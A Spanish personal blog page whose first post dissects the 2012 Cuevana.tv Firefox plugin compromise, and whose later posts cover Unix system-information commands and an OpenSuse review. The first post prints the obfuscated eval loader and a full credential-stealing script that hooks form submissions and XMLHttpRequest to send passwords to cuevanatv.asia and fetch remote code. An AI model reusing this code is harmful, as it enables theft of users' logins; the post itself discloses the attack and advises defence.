domingo, 23 de septiembre de 2012

Cuevana.tv y su plugin espia


Cuevana.tv es un reconocido sitio de películas que permite hacer streaming gratuito de los últimos estrenos de Hollywood con mucha comodidad, para lograr esta “comodidad” para el usuario, es necesario instalar un plugin en nuestro navegador, que permitía tomar las películas que cuevana.tv almacenaba en servidores de descarga gratuita como fuente para realizar streaming desde ellos.
CuevanaTV Cuevana.tv y su plugin espia
Gracias a @Ursack me entero que precisamente este plugin se ha vuelto noticia, luego de que el usuario RME de Foro Coches iniciara un hilo donde ponía en evidencia un código malicioso que se encontraba dentro del plugin de cuevana y que enviaba información del usuario al dominio CUEVANATV.ASIA
Lo primero que hice fué revisar mi propio plugin ya que a veces utilizo el servicio de cuevana, pero como lo había instalado hace mas de un mes no tenia el código malicioso del que todos hablan, me metí a la pagina oficial a descargar el plugin y descargué una copia para compararla con la mía. Le cambio el nombre a los plugins para identificarlos fácilmente y procedo a descomprimirlos, recuerden que los plugins de Firefox son básicamente archivos comprimidos con extensión xpi.
Básicamente los 2 plugins son iguales, lo único que cambia entre versión y versión es una línea en el archivo content/script-compiler.js que solo aparece en la versión infectada.
La línea en cuestión esta empaquetada para que no pueda ser leída tan fácilmente, por lo que de entrada genera sospechas:
1
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d1=k1||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k1){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k1)}}return p}('6 0=7 5();0.4(\'1\',\'2://3.8/h.9?\'+g.e(),d);0.a(b);c(0.f);',18,18,'r|GET|http|cuevanatv|open|XMLHttpRequest|var|new|asia|js|send|null|eval|false|random|responseText|Math|back3'.split('|'),0,{}))
Por tanto lo primero que haremos será utilizar nuestro desempaquetador preferido para ver mas claramente que es lo que hace el código:
1
2
3
4
ar r = new XMLHttpRequest();
r.open(‘GET’, ‘http://cuevanatv.asia/back3.js?’ + Math.random(), false);
r.send(null);
eval(r.responseText);
Como pueden ver se hace un llamado a un código JavaScript, al que desgraciadamente no pude acceder por que en el momento que escribo este articulo el dominio cuevanantv.asia,(curiosamente registrado a nombre de María Helena Chávez, la esposa de un político Argentino… que puede dar pistas sobre la procedencia del atacante…) se encontraba fuera de servicio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
var r = new XMLHttpRequest();
r.open('GET', "http://cuevanatv.asia/scripts.txt", false);
r.send(null);
if (r.status == 200) eval(r.responseText);
OSid = Components.classes['@mozilla.org/xre/app-info;1'].getService(Components.interfaces.nsIXULRuntime).OS;
OSid = (OSid == 'Darwin') ? 3 : ((OSid == 'WINNT') ? 2 : ((OSid == 'Linux') ? 1 : 0));
 
function _sData(datos, url) {
    var r = new XMLHttpRequest;
    r.open("POST", "http://cuevanatv.asia/add.php", true);
    r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    r.send("d=" + datos + "&o=" + OSid + "&u=" + url);
}
Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService).addObserver({
    observe: function (aWindow, aTopic, aData) {
        if (aWindow instanceof Ci.nsIDOMWindow && aTopic == 'content-document-global-created') {
            var win = aWindow.wrappedJSObject;
            win.addEventListener("submit",
 
            function (e) {
                datos = [];
                enviar = false;
                for each(i in e.target.elements) {
                    if (i.type == 'password') enviar = true;
                    if (i.type != 'hidden' && i.type != 'submit' && i.type != undefined) datos.push(i.name + "::" + i.value);
                }
                if (enviar) _sData(datos.join(":_:"), win.location.href);
            }, false);
            var xmlhr = new Object();
            xmlhr.open = win.XMLHttpRequest.prototype.open;
            xmlhr.send = win.XMLHttpRequest.prototype.send;
            if (win.location.host.indexOf("facebook.com") == -1) {
                win.XMLHttpRequest.prototype.open = function (a, b) {
                    a = (!a) ? '' : a;
                    b = (!b) ? '' : b;
                    xmlhr.open.apply(this, arguments);
                    xmlhr.metodo = a.toLowerCase();
                    xmlhr.url = b;
                    if (xmlhr.metodo == 'get') xmlhr.datos = b.split("?")[1];
                }
                win.XMLHttpRequest.prototype.send = function (a, b) {
                    a = (!a) ? '' : a;
                    b = (!b) ? '' : b;
                    xmlhr.send.apply(this, arguments);
                    if (xmlhr.metodo == 'post') xmlhr.datos = a;
                    xmlhr.callback();
                }
            }
            xmlhr.callback = function () {
                enviar = false;
                activadores = ["pass", "pss", "clave", "contra"];
                for each(dato in this.datos.split("&")) {
                    for each(activador in activadores) {
                        if (dato.split("=")[0].indexOf(activador) > -1) enviar = true;
                    }
                }
                if (enviar) _sData(this.datos.split("&").join(":_:").split("=").join("::"), win.location.href);
            }
            win.addEventListener("DOMContentLoaded", function (e) {
                for (site in scripts) {
                    if (win.location.host.indexOf(site) > -1) {
                        var r = new XMLHttpRequest();
                        r.open('GET', scripts[site], false);
                        r.send(null);
                        if (r.status == 200) eval(r.responseText);
                    }
                }
            }, false);
        }
    }
}, 'content-document-global-created', false);
En resumidas cuentas lo que hace ese script es enviar los datos de los formularios que llenemos y cumplan con unos parámetros específicos a un servidor donde serán almacenados para su posterior uso por una persona mal intencionada, en el siguiente video podemos ver el funcionamiento del plugin infectados y como enviaba los datos atravez de nuestro navegador.
Con lo que se confirma que efectivamente el plugin de Cuevana.tv para hacer streaming de películas gratis, tenia un código malicioso que robaba información sensible, además de código especifico para hacer pishing a varias entidades bancarias.
El administrador de Cuevana.tv aunque tuvo conductas sospechosas, como eliminar el código malicioso del plugin sin notificar a nadie, ni aumentar la versión del mismo, aseguró desde la cuenta oficial de cuevana.tv en twitter (tan pronto la noticia se dio a conocer por menéame) que nunca harían eso a sus usuarios…
CuevanaTVTwitte Cuevana.tv y su plugin espia
Al parecer cuevana.tv fué vulnerado (de nuevo,,,), y lograron inyectar ese código en el plugin del sitio, ellos afirman que investigarán el caso y mas les vale, por que todos sus usuarios estaremos ansiosos de ver los resultados de esta investigación, para descartar una mala intención directamente de los creadores de cuevana.tv

Conclusiones y Recomendaciones sobre el plugin espía de cuevana.tv

  • La conclusión mas importante que te debes llevar es que no instales plugins en tu navegador de dudosa procedencia, siempre busca comentarios de otras personas sobre el plugin y descargalo siempre que sea posible, de la pagina de complementos oficial de tu navegador.
  • Cambia TODAS las contraseñas de tus servicios web, es muy posible que una persona mal intencionada ya cuente con ellas y al verse descubierto/a intentara sacar el máximo jugo a su botín en el menor tiempo posible.
  • Utiliza contraseñas diferentes para todos tus servicios, ya vimos como cuevana.tv fue vulnerado y si lograron modificar archivos en el servidor, podrían acceder a toda la base de datos de usuarios, ¿tienes la misma clave que usas en cuevana para otro servicio?… ¿ya entiendes por que es importante usar una clave para cada cosa?
------
Fuente:

jueves, 19 de julio de 2012

Comandos Unix para ver informacion de sistema

Sistemas basados en GNU/Linux (Al igual que sus parientes basados en Unix como BSD o los de Macinstosh) conservan la tradición de tener multitud de comandos que permiten conocer el estado del sistema. Es decir, cada uno da pequeñas piezas de información sobre multitud de partes diferentes de lo que esta sucediendo en tu sistema Linux. Algunos de estos comandos pueden ser ejecutados por cualquier usuario y otros varios solo por root. En esta ocasión te presento, sin ningún orden en específico, una recopilación de los más útiles y usados de estos comandos.

uname

Imprime información del sistema

#> uname -p
Intel(R) Core(TM) Duo CPU T2450  @ 2.00GHz


#> uname -r
2.6.22.9-laptop-1mdv


#> uname -a
Linux segolap 2.6.22.9-laptop-1mdv #1 SMP Thu Sep 27 04:17:10 CEST 2007 i686 Intel(R) Core(TM) Duo CPU T2450  @ 2.00GHz GNU/Linux
Este último, muestra en orden, el tipo de kernel, el nombre del equipo, versión de kernel, fecha y hora, arquitectura del CPU (i686), tipo de procesador y tipo de sistema operativo (GNU/Linux).

fdisk

Permite manipular/crear particiones en Linux, pero tiene una interesante opción de consulta, -l:
#> fdisk -l

Disk /dev/sda: 160.0 GB, 160041885696 bytes
255 heads, 63 sectors/track, 19457 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x0002ecbc

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          63      506016   83  Linux
/dev/sda2              64       10261    81915435   83  Linux
/dev/sda3           10262       18929    69625710   83  Linux
/dev/sda4           18930       19457     4241160    5  Extended
/dev/sda5           18930       19457     4241128+  82  Linux swap / Solaris

Disk /dev/sdb: 40.0 GB, 40007761920 bytes
255 heads, 63 sectors/track, 4864 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x000063b0

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1        4863    39062016    c  W95 FAT32 (LBA)
Podemos observar en este listado varios aspectos muy útiles, primero que tenemos dos dispositivos conectados al sistema, /dev/sda y /dev/sdb, los dos son discos duros, el primero es el propio del equipo y tiene varias particiones, incluso determinamos cual es la partición de arranque que es /dev/sda1. El segundo dispositivo contiene una partición Windows como podemos ver en la columna 'System' del último renglón 'W95 FAT32', que indiscutiblemente es de Windows, no es una memoria flash por el tamaño (Disk /dev/sdb: 40.0 GB) mostrado. Asi que se trata de un disco duro externo.

free

¿Sientes tu sistema demasiado lento?, comienza checando con free que despliega como se encuentra de saturada la memoria física RAM y la de la partición SWAP.

#> free -m
             total       used       free     shared    buffers     cached
Mem:          2018        989       1028          0         39        450
-/+ buffers/cache:        500       1517
Swap:         4141          0       4141
La línea 'Mem:' es la memoría fisica RAM, que en este ejemplo tiene 2 GB de los cuáles se están usando 989 megas, bastante razonable todavía, la línea 'Swap:' muestra la partición de swap (lo que en Windows se le conoce como archivo de intercambio), que generalmente se establece al doble de la RAM y que idealmente no debe estar usada, como el ejemplo lo muestra. Cuando tu línea Swap muestra demasiado uso y casi nada libre, tienes serios problemas de rendimiento, considera entonces en incrementar tu RAM. Prueba con free -mt para ver una línea más al final con la suma de las dos Mem + Swap.

mount

Comando que se utiliza para montar dispositivos, algo complejo y con múltiples opciones. Pero para este tutorial, basta con que lo invoques sin opción alguna ni argumentos, para que nos revele la información de que tienes montado y en que lugar esta montado.
#> mount
/dev/sda1 on /boot type ext3 (rw,noatime)
/dev/sda2 on / type ext3 (rw,noatime)
/dev/sda3 on /home type ext3 (rw,noatime)
none on /proc type proc (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
/dev/sdb1 on /media/hd type vfat (rw,nosuid,nodev,sync,users,umask=0022,iocharset=utf8)
Un pequeño análisis me permite determinar que en el equipo hay tres particiones sobre el mismo disco duro (dispositivo /dev/sda), que son /boot (sda1), / (sda2), y /home (sda3), todas son del tipo 'ext3' el filesystem por defecto de Linux. Hay dos sistemas virtuales montados en /proc y otro dispositivo (/dev/sdb1) accesible a través del directorio /media/hd y que es del tipo DOS FAT. Como podrás observar, esta información se complementa a la arrojada por fdisk -l.

lsmod

Muestra el status de los módulos del kernel actualmente cargados en el sistema.
[root@segolap ~]# lsmod
Module                  Size  Used by
fat                    45852  1 vfat
i915                   22688  3
drm                    72628  4 i915
vmnet                  34564  16
parport_pc             32004  0
parport                31592  1 parport_pc
blkcipher               5860  1 ecb
snd_seq_midi_event      6912  1 snd_seq_oss
snd_seq                46800  5 snd_seq_dummy,snd_seq_oss,snd_seq_midi_event
snd_seq_device          7276  3 snd_seq_dummy,snd_seq_oss,snd_seq
ieee80211              31752  1 ipw3945
ieee80211_crypt         5248  2 ieee80211_crypt_wep,ieee80211
mmc_core               23108  2 mmc_block,sdhci
agpgart                27656  3 drm,intel_agp
snd_pcm                69636  3 snd_pcm_oss,snd_hda_intel
libata                108688  2 ata_piix,ahci
scsi_mod              124972  6 usb_storage,sr_mod,sg,scsi_wait_scan,sd_mod,libata
... listado no completo
El listado se autoexplica, el módulo, su tamaño y quien lo usa. Por ejemplo, el módulo 'ieee80211' es utilizado por el driver para tarjetas inalámbricas 'ipw3945', etc. Este comando se complementa con el de inserción de módulos insmod y con el que remueve módulos rmmod.

lspci

Lista los dispositivos PCI del sistema.
#> lspci
00:00.0 Host bridge: Intel Corporation Mobile 945GM/PM/GMS, 943/940GML and 945GT Express Memory Controller Hub (rev 03)
00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03)
00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High Definition Audio Controller (rev 02)
00:1c.0 PCI bridge: Intel Corporation 82801G (ICH7 Family) PCI Express Port 1 (rev 02)
00:1d.1 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #2 (rev 02)
00:1d.7 USB Controller: Intel Corporation 82801G (ICH7 Family) USB2 EHCI Controller (rev 02)
00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev e2)
00:1f.0 ISA bridge: Intel Corporation 82801GBM (ICH7-M) LPC Interface Bridge (rev 02)
00:1f.1 IDE interface: Intel Corporation 82801G (ICH7 Family) IDE Controller (rev 02)
00:1f.2 SATA controller: Intel Corporation 82801GBM/GHM (ICH7 Family) SATA AHCI Controller (rev 02)
00:1f.3 SMBus: Intel Corporation 82801G (ICH7 Family) SMBus Controller (rev 02)
04:00.0 Ethernet controller: Broadcom Corporation NetLink BCM5787M Gigabit Ethernet PCI Express (rev 02)
05:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)
06:00.0 FLASH memory: ENE Technology Inc ENE PCI Memory Stick Card Reader Controller
06:00.1 Generic system peripheral [0805]: ENE Technology Inc ENE PCI SmartMedia / xD Card Reader Controller
06:00.3 FLASH memory: ENE Technology Inc ENE PCI Secure Digital / MMC Card Reader Controller
Tomemos una línea de ejemplo:
05:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)
El primer campo (05:00.0) es el slot PCI donde se ubica el dispositivo bus 05 dispositivo 00 función 0, después sigue la clase de dispositivo (Network controller), el fabricante (Intel Corporation), el nombre del dispositivo (PRO/Wireless 3945ABG Network Connection) y el número de revisión del mismo (rev 02).
Información bastante útil, ya que por ejemplo, en mi caso, este dispositivo no funcionó cuando recien instalé Linux, pero con esta info del sistema comencé a determinar el tipo de drivers que necesitaba para hacerla funcionar.
Puedes obtener aun más información de cada dispositivo PCI con la opción -v y aun más con -vv, asi que trata con lspci -vv y observa cuanto puedes lograr saber de cada dispositivo.

lsusb

Lista los dispositivos usb del sistema.
#> lsusb
Bus 005 Device 004: ID 05e3:0702 Genesys Logic, Inc. USB 2.0 IDE Adapter
Bus 005 Device 003: ID 064e:a101 Suyin Corp.
Bus 005 Device 001: ID 0000:0000
Bus 001 Device 001: ID 0000:0000
Bus 002 Device 004: ID 062a:0003 Creative Labs
Bus 002 Device 001: ID 0000:0000
Bus 003 Device 001: ID 0000:0000
Bus 004 Device 001: ID 0000:0000
mmmmm, no muy informativo que digamos, pero solo hay que saber buscar, asi que si usamos la opción -v, nos devuelve más información, en mi caso, la cámara web de mi laptop no funcionaba, para buscar los drivers o configuración adecuada busqué con este comando y encontré lo siguiente:
#> lsusb -v
...
Bus 005 Device 003: ID 064e:a101 Suyin Corp.
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass          239 Miscellaneous Device
  bDeviceSubClass         2 Common Class
  bDeviceProtocol         1 Interface Association
  bMaxPacketSize0        64
  idVendor           0x064e Suyin Corp.
  idProduct          0xa101
  bcdDevice            1.00
  iManufacturer           2 SuYin
  iProduct                1 Acer CrystalEye webcam
  iSerial                 3 CN0314-OV03-VA-R02.00.00
...
El listado es bastante largo, asi que lo muestro con lo relevante solamente, en el 'Bus 005 Device 003:' se encuentra algo llamado 'Suyin Corp', y viendo más detalle con -v encuentro que es 'Acer CrystalEye webcam', asi que con esto se facilita la búsqueda en Internet para conseguir los drivers adecuados para linux, cosa que con paciencia eventualmente se logra. Ya que encontré que con la distro Mandriva viene soportada por defecto.

blkid

Block Id. Despliega los atributos del dispositivo de bloque.
#> blkid
/dev/sda1: UUID="d22801c6-85ca-11dc-849e-afde43df714c" SEC_TYPE="ext2" TYPE="ext3"
/dev/sda2: UUID="ae22f1dc-85ca-11dc-acbd-cb4aee4dedb7" SEC_TYPE="ext2" TYPE="ext3"
/dev/sda3: UUID="d3990398-85ca-11dc-aab5-4d80db2607e2" SEC_TYPE="ext2" TYPE="ext3"
/dev/sda5: TYPE="swap" UUID="f6bfa9b2-85ca-11dc-abd6-01935478454b"
/dev/sdb1: LABEL="SEGO" UUID="46CD-5C01" TYPE="vfat"

dmidecode y lshw

Ahora bien, que si de determinar el hardware del equipo se trata, nada como este comando. Que lo que hace es leer la información del BIOS directamente y te regresa un listado muy completo de todo el hardware encontrado en el equipo. DMI es por Desktop Management interface y lee la información del llamado SMBIOS (System Management BIOS).
dmidecode por defecto ofrece un listado bastante largo y completo, asi que si deseas uno más corto o resumido, úsalo con -q.
Si no tienes instalado dmidecode prueba con lshw que básicamente hace lo mismo.

df

Reporta el uso de espacio en los discos duros.
# df
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda2              77G   16G   58G  22% /
/dev/sda1             479M   21M  433M   5% /boot
/dev/sda3              66G   36G   30G  55% /home
/dev/sdb1              38G   24G   14G  64% /media/hd
Muy fácil de entender y usar, úsalo seguido, sobre todo si descargas bastante y asi podrás saber cuando se están llenando tus dispositivos de almacenamiento. En algunas versiones de df tendrás que usar la opción -h (formato humano) para que puedas ver el mismo listado mostrado en Megas o Gigas.

uptime

Muestra cuanto tiempo lleva prendido el sistema y otra información.
#> uptime
 19:59:45 up  2:18,  2 users,  load average: 1.14, 1.13, 1.09
Primero la hora actual, seguido de 'up 2:18', que significa prendido por dos horas y 18 minutos, claro este campo puede cambiar a días, etc., dos usuarios en el sistema y por último la carga promedio del CPU (load average), en el último minuto, 5 y 15 respectivamente. Mientras más bajo este número es mejor, queriendo decir que por ejemplo, se requieren 1.14 procesadores en el momento que se ejecutó 'uptime' para en ese preciso instante terminar con todos los procesos del sistema. Esto no es exactamente preciso pero te puede dar una buena idea lo cargado o desocupado que esta tu CPU. Ahora bien, ¿quienes son esos dos usuarios en el sistema?, veámoslo con el siguiente comando.

w

Muestra que usuarios están en el sistema y lo que están haciendo.
# w
 20:07:12 up  2:25,  2 users,  load average: 1.18, 1.12, 1.09
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1      19:09    7:34   0.16s  0.16s -bash
sergio   :0        17:43   ?xdm?   2:22m  0.06s /bin/sh /usr/bin/quanta
La primera línea de w es lo mismo que regresa uptime, y después nos dice quienes son los dos usuarios en el sistema, en que terminal están 'TTY', si fuera desde otro equipo mostraría la IP, la hora en que se loguearon 'LOGIN@', y la última columna muestra lo que están ejecutando en el momento en que se ejecutó w.

Como complemento de uptime y w puedes usar lo siguiente:
#> who -b
  system boot  2008-01-13 17:41
Indica la fecha y hora en que el sistema inició.

lsof

List open files. Muestra los archivos que un proceso ha abierto para poder ejecutarse.
(ejecutamos 'man lsof' en una terminal)
#> man lsof
(desde otra terminal determinamos su PID)
#> ps -ed | grep man
root      9700  6514  0 21:11 pts/1    00:00:00 man lsof
(y ejecutamos lsof con la opción -p)
#> lsof -p 9700
COMMAND  PID USER   FD   TYPE DEVICE    SIZE    NODE NAME
man     9700 root  cwd    DIR    8,2    4096 5603329 /root
man     9700 root  rtd    DIR    8,2    4096       2 /
man     9700 root  txt    REG    8,2   43416 9529630 /usr/bin/man
man     9700 root  mem    REG    8,2  254076 9520457 /usr/share/locale/UTF-8/LC_CTYPE
man     9700 root  mem    REG    8,2 1298800 7277050 /lib/i686/libc-2.6.1.so
man     9700 root  mem    REG    8,2      52 9521060 /usr/share/locale/en_US.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES
man     9700 root  mem    REG    8,2   26052 9519467 /usr/lib/gconv/gconv-modules.cache
man     9700 root  mem    REG    8,2  565473 7274508 /lib/ld-2.6.1.so
man     9700 root    0u   CHR  136,1               3 /dev/pts/1
man     9700 root    1u   CHR  136,1               3 /dev/pts/1
man     9700 root    2u   CHR  136,1               3 /dev/pts/1
man     9700 root    3r   REG    8,2    4808 4523300 /etc/man.config
Podemos observar de las librerias, archivos de configuración (última línea), y los comandos que se invocaron para ejcutar una consulta de manual. este comando lsof es altamente útil cuando se trata de determinar las dependencias que un programa requiere para ejecutarse.
Si utilizas lsof sin argumentos te dará un larguísimo listado de todos los procesos que se estén ejecutando en ese momento.

last y lastb

last muestra un listado de los últimos usuarios logueados al sistema e información relevante, lastb last bad, muestra los últimos intentos de logueo al sistema que fracasaron, utilísimo para determinar posibles intentos de acceso ilegítimo al sistemo (hackeo).
#> last
root     tty1                          Sun Jan 13 19:59   still logged in
sergon   :0                            Sun Jan 13 17:43   still logged in
reboot   system boot  2.6.22.9-laptop- Sun Jan 13 17:41          (04:19)
root     tty1                          Sun Jan 13 00:23 - crash  (17:18)
sergon   :0                            Sat Jan 12 23:56 - 00:48  (00:52)
reboot   system boot  2.6.22.9-laptop- Sat Jan 12 23:55          (22:05)
sergon   :0                            Sat Jan 12 19:35 - down   (00:57)
reboot   system boot  2.6.22.9-laptop- Sat Jan 12 19:34          (00:59)
sergon   :0                            Sat Jan 12 17:41 - down   (01:16)
reboot   system boot  2.6.22.9-laptop- Sat Jan 12 17:40          (01:17)
sergon   :0                            Sat Jan 12 08:15 - 12:41  (04:25)
reboot   system boot  2.6.22.9-laptop- Sat Jan 12 08:15          (04:26)
sergon   :0                            Fri Jan 11 22:11 - crash  (10:03)
reboot   system boot  2.6.22.9-laptop- Fri Jan 11 21:49          (14:51)
sergon   :0                            Thu Jan 10 22:12 - 22:36  (00:23)
reboot   system boot  2.6.22.9-laptop- Thu Jan 10 22:11          (00:24)
Podemos ver que usuario se logueó, en que terminal, día, fecha y hora, a que hora terminó o si continua logueado (still logged in). Es posible también conocer por ejemplo en las líneas que dice 'crash' que el sistema no se apagó adecuadamente.
#> lastb
# lastb
pedro    192.168.0.10                  Sun Jan 13 22:04 - 22:04  (00:00)
root     tty2                          Sun Jan 13 21:20 - 21:20  (00:00)
Con lastb obtenemos los intentos de logueo que fracasaron. Por ejemplo, en un sistema real en producción donde no existiera el usuario 'pedro' resultaría obvio que alguien esta tratando de obtener acceso remoto, adivinando usuario:contraseña. Deberías preocuparte enormemente y tomar acción, si en el listado de last observas un logueo de root u otro usuario que tu como administrador sepas no debió entrar al sistema en esas fechas u horas, o peor aun que se trata de tu ¡¡usuario!! y no habías ingresado previamente. Con seguridad significa que ya te hackearon tu sistema o consiguieron tu contraseña.

dmesg

Parte del servidor de mensajes del sistema syslog, dmesg es principalmente usado para mostrar los mensajes que se mostraron en pantalla cuando se inicio (boot) el sistema. Se usa sobretodo para realizar depuraciones al sistema de como se están cargando los diversos módulos y componentes al arranque del sistema o ya en ejecución. Debido a lo extenso del sistema, es conveniente redireccionar la salida a un archivo:
#> dmesg > mensajes
Con less o cat o en tu editor favorito puedes con calma analizar el archivo.

ps

El comando por excelencia para mostrar información de procesos, en este artículo de LinuxTotal.com.mx se encuentra una amplia explicación de este comando y otros usados para la administración de procesos.

Este artículo seguirá creciendo de vez en cuando con nueva información sobre comandos que regresan datos valiosos del sistema, asi que chécalo de tiempo en tiempo.

martes, 3 de julio de 2012

OpenSuse


Hola en lo particular no me gusta decir cosas malas de nada ni nadie, pero cuando algo es malo y puede afectar al entorno que me rodea estoy con la obligación de hacer esta critica constructiva, hace unas semanas di formato a mi laptop e instale diversos sistemas operativos entre ellos OpenSuse la cual tiene puntos buenos pero puntos malos, pasando a los puntos a favor y no tan relevantes; OpenSuse tiene un entorno grafico de usuario amigable y se mira bien.
Su instalación es sumamente sencilla y con una cantidad mínima de clic´s (como casi todos los Linux actuales)
Puntos en contra; OpenSuse tiene un gestor de seguridad a mi punto de vista sumamente exagerado, donde para escribir  en una carpeta te pide tu pass de root.
OpenSuse tiene un gestor de guardián de contraseñas que en lo particular no le encontré algún uso productivo.
OpenSUse tiene un performance que dejo mucho que desear mi equipo no es un equipo viejo o lento cuento con un micro de 3.0Ghz, 8GB de ram 1333ghz, 1tb de hdd Sata2 y su desempeño no fue nada eficiente, lo cual si estuviera en una maquina virtual pudiera a ver comprado el rendimiento pero gestionando el sistema operativo desde mi equipo físico dejo una experiencia de usuario bastante mala.
Comparto el video de su sencilla instalación. 







Cerrado por Cancer

 De momento y desde hace 3 años estoy peleando con un cáncer en mi cuerpo, por lo que todas mis energías las estoy colocando en ello. cuando...